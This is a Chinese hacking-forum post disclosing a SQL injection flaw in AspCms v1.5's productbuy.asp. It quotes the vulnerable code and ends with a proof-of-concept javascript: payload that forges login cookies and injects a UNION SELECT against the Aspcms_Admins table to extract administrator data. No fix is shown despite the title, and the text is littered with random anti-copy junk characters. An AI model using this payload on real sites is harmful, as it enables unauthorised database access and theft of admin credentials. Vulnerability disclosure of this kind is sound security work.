找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2292|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....! J8 {) ^- G9 `# b8 C$ d9 ?9 b( x" t
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。7 E1 c7 v7 W  M# b7 ~8 T  Q
废话不多说,看代码:
: F7 ~+ p7 s+ X. N" F
6 [  ~( ~: r. P5 r4 F6 F<%
/ u" J2 ]. ^% i/ u: ^: R" V7 [$ M# h' O+ [
if action = "buy" then8 [) A% E/ F9 y) d/ p  C
! g! }$ P( Q6 A1 v4 v* p5 R
        addOrder()4 S* ?) T! G. D9 P' G, R: u
  `' s1 u& u& {. p( P% i
else7 ^: q/ _7 A- P

" }9 }2 J$ W5 a; x7 A7 i1 h        echoContent()# N5 \/ h" c& F& O

" E) z$ u, `) P: H( G6 ?end if# z8 o, `1 C9 ^' ?% r" T& v

; @" K7 x" n2 u0 f, o! c9 v+ S0 l" v( H3 y
) c0 b- l2 R0 [: `
……略过% o8 S) N) y3 i5 o

1 P8 i$ u0 T, ]0 c% A' u8 y
( R- |: [( B4 Z& [( k( L9 L: P2 U- f$ }4 Z  L8 H: @
Sub echoContent()
2 d- B7 H  h5 ^# P1 D1 Q8 N$ Z" ?& ~& _* q9 K  N* d
        dim id8 l; K# l+ q; I& j5 y9 L3 n4 Y, \& J
3 Z) ?! R7 A! m4 S* L7 A
        id=getForm("id","get")
* Q3 T, D: W3 x$ }6 F* {
3 {  j  a( [, N  F: O        
4 g: [2 [% O* ]# F: f; U' e- f; d7 j( d0 W5 v% _% M* E3 H0 q
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
0 k: Z- T$ m9 z, O4 r
, Y4 l2 s/ j8 r        
  X5 w) O/ h: x! i5 ?- D7 W3 Z
( s; r1 n3 E. W. v, h        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template"), L' j+ X0 A4 F# B
! Z7 L( ~9 N6 l8 \3 |$ s/ W
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct+ P8 }8 ^( k1 q0 G2 S
) C2 E# M( O& W0 [/ a, ?5 F" t
        Dim templatePath,tempStr5 y/ R5 U9 J) l2 ?4 h& w$ R

( c  S* p( x# B7 n4 B  z% L        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"% m: o. T, t  L: ^8 z
) @0 B( {; {  m+ o/ V
+ C0 q7 A: c- t: f6 `3 o& n

" O5 F: Z& m! l) {( z7 ^        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")4 G1 Y1 o& c1 F2 y& ^" A
/ g2 s+ i8 I( J: C9 s7 s: j
        selectproduct=rsObj(0)/ J  b, L# D$ t
6 ?" K- L) l1 O. J" M- P  R0 T
        6 ?. _1 A$ V$ L6 J+ g6 m; }

# e) ?9 j& ^4 p2 Y        Dim linkman,gender,phone,mobile,email,qq,address,postcode
: @$ f) O) S2 p
: M, w2 b5 ~: t3 v8 c        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0% S6 S7 z4 C4 {2 k
! ^3 V$ P# j: J5 T, I& O. E+ I
        if rCookie("loginstatus")=1 then  
) z. h$ F% u# Z% [* y0 n
  n0 m5 Q! y2 M( t                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
" P3 \& _$ X/ [+ J
3 C( z. [$ c6 S8 b4 v# U9 ~                linkman=rsObj("truename")
: N2 t; O! q. ^7 Q" j! T
$ Y8 p$ q6 ?9 S8 _( r. R7 `                gender=rsObj("gender")" d; J+ L. J6 I/ R7 a( B
% z6 O3 S* p$ j$ {; e7 M5 `1 ^" ?
                phone=rsObj("phone")& f' |$ u% m, f6 f" ]

6 k  G5 h4 h( ^5 H                mobile=rsObj("mobile")
$ c3 p0 o& G7 ^5 v# \5 W5 P3 s+ v; ]2 r) N- k* Y/ u' |
                email=rsObj("email")) q- m( Q2 E2 d. Y6 u/ q
; K3 |7 D- u% a
                qq=rsObj("qq")
. j0 f$ `# B# w5 o
0 w  @8 {, q7 I9 n6 D* p                address=rsObj("address")' E6 v/ v! Z9 p$ q7 O7 d
% I7 F" p1 `5 K! g
                postcode=rsObj("postcode")
/ ~! t1 A+ C  K- s+ T+ R
; b7 A& l& u8 t6 W  g2 C" s4 k        else
& s! ?7 x# v8 N  e9 N. @# E7 Q
                gender=1( }. i5 ?/ T2 n

* R" J6 x+ `. t9 X2 K% A        end if
$ G6 Q: }: Y) m/ Y$ h/ ^! i: H; {2 w% ?$ L3 E
        rsObj.close()
/ g$ d, d) e' l* A. M/ j$ h3 e3 {0 c: s. n5 W% ^/ a. Q' f+ e
                / Q7 s% X2 L- R! O5 [* [$ ?
, X7 I6 Q3 c; W8 _. T
        with templateObj ' g/ [/ A6 T+ m6 E: }; E( B4 |3 R
% e; P$ Y- W& {* v! p
                .content=loadFile(templatePath)        " j) L. g4 n- C9 G. ?2 v* W8 v

7 n* u' ~, _+ X6 Q4 Q                .parseHtml()- k$ V8 m; {4 v- Y3 J8 w7 Q

# d/ F' W6 O. x                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
8 M) v& Y9 B, b8 P) A
( m( S& }! ]  d# F                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
- C# ^( d& |- {$ k- F% K
# D( |* Q" G8 j5 X6 {4 ^                .content=replaceStr(.content,"[aspcms:gender]",gender)                + r8 s2 m6 Q5 N! l) k
' E5 ^: g; A2 s* A; Z
                .content=replaceStr(.content,"[aspcms:phone]",phone)                  _& V) F0 x& z+ n) X. n0 {4 z6 _

6 z! g1 N& x0 D& r' v1 `                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                - \4 v' e0 d/ z0 |2 ^0 M* ]# i
0 U# [6 ^; x; b  Y' C
                .content=replaceStr(.content,"[aspcms:email]",email)                        . K' F! n: ~) x$ D$ F: O- q

$ f" E& y- S& F7 M5 r* [* ^                .content=replaceStr(.content,"[aspcms:qq]",qq)                        - M& o2 `8 C# F, A, t+ W! {
) {/ A6 R! p9 R% @
                .content=replaceStr(.content,"[aspcms:address]",address)                        3 z. g4 n8 j: L5 m' J1 w
2 B8 y6 h7 S; D$ {6 T1 N
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
  ?; y" I( x& @/ S5 }: ^, I( @& w" |! t
                .parseCommon()                 * J4 v- L( P7 W/ Q/ ]
% @# D8 y8 n8 Y! X$ o' ]* p: J
                echo .content
# g7 H+ i" d. s# V2 g7 V# o5 e9 i# m
& P0 @  f) Y) P) e8 F        end with
' W2 s, I- q& G9 T: N! J8 F: o' A; p) A, B) _! Y
        set templateobj =nothing : terminateAllObjects
& s9 e; n7 B7 P2 t0 C0 d7 D& ?' j6 v0 m2 d* o+ N7 o
End Sub3 m- t8 d- o; I! Z( C3 K* ]/ m
漏洞很明显,没啥好说的
# o$ x' _* D+ |9 s4 B3 R' P& [poc:1 I- V& @+ P  C
( j% E4 Z' b3 ~+ n
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
* j2 b4 O' |, o! X0 A
( P( b9 B6 h% E- f3 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表